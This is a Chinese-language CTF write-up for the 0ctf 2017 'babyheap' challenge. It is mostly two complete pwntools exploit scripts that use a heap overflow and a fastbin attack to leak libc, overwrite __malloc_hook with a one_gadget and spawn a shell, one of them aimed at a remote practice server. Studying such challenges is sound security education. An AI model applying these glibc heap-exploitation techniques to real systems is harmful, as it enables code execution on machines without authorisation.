考察的主要是是堆溢出和fastbin attack。通过这道题巩固了一下基础的堆利用,另外看了其他师傅的wp后发现了新的泄漏libc的方法。嗯。。。严格来说也不能算是新的方法,其本质上是一样的,主要是在构造上有一定的区别。
先贴一下我的exp:
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './babyheap_0ctf_2017'
context.binary = binary
elf = ELF(binary,checksec=False)
def dbg():
gdb.attach(p)
pause()
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
def pwn(ip,port,debug):
global p
global libc
if(debug == 1):
p = process(binary)
libc = ELF("/home/parallels/Desktop/2.23-0ubuntu11.2_amd64/libc-2.23.so")
else:
p = remote(ip,port)
libc = ELF("/home/parallels/Desktop/libc/libc-2.23.so")
alloc(0x18) # 0
alloc(0x68) # 1
alloc(0x68) # 2
alloc(0x18) # 3
fill(0,'a'*0x18+'\xe1')
free(1)
alloc(0x68) # 1
base = u64(dump(2)[:6].ljust(8, "\x00"))-88-libc.sym['__malloc_hook']-0x10
leak('base',base)
malloc_hook = base+libc.sym['__malloc_hook']
leak("__malloc_hook",libc.sym['__malloc_hook'])
alloc(0x60) # 4 <-> 2
free(3)
free(2)
fill(4,p64(malloc_hook-0x23)+'\n')
alloc(0x60)
alloc(0x60)
fill(3,flat('a'*19,base+0x4526a))
alloc(0x18)
itr()
if __name__ == "__main__":
pwn("node3.buuoj.cn",26394,0)
再来看一下其他师傅的exp
#!/usr/bin/env python
from pwn import *
import sys
context.log_level = "debug"
elf = "./babyheap_0ctf_2017"
p = process(elf)
def dbg():
gdb.attach(p)
pause()
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
alloc(0x10) #0
alloc(0x10) #1
alloc(0x10) #2
alloc(0x10) #3
alloc(0x80) #4
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload) #通过溢出修改chunk2中的fd指针最低位改成0x80,这样chunk2就指向了chunk4
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload) #通过溢出修改chunk4的size为0x21,为了绕过fastbin检查
alloc(0x10) #1
alloc(0x10) #2 指向的是chunk4
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
alloc(0x80) #5
free(4)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78 #通过chunk2泄漏
log.info("libc_base: "+hex(libc_base))
alloc(0x60) #4 对原来的chunk4进行切割,以便于接下伪造fake chunk
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
alloc(0x60) #4
alloc(0x60) #fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload) #修改malloc_hook为one gadget
alloc(255)
p.interactive()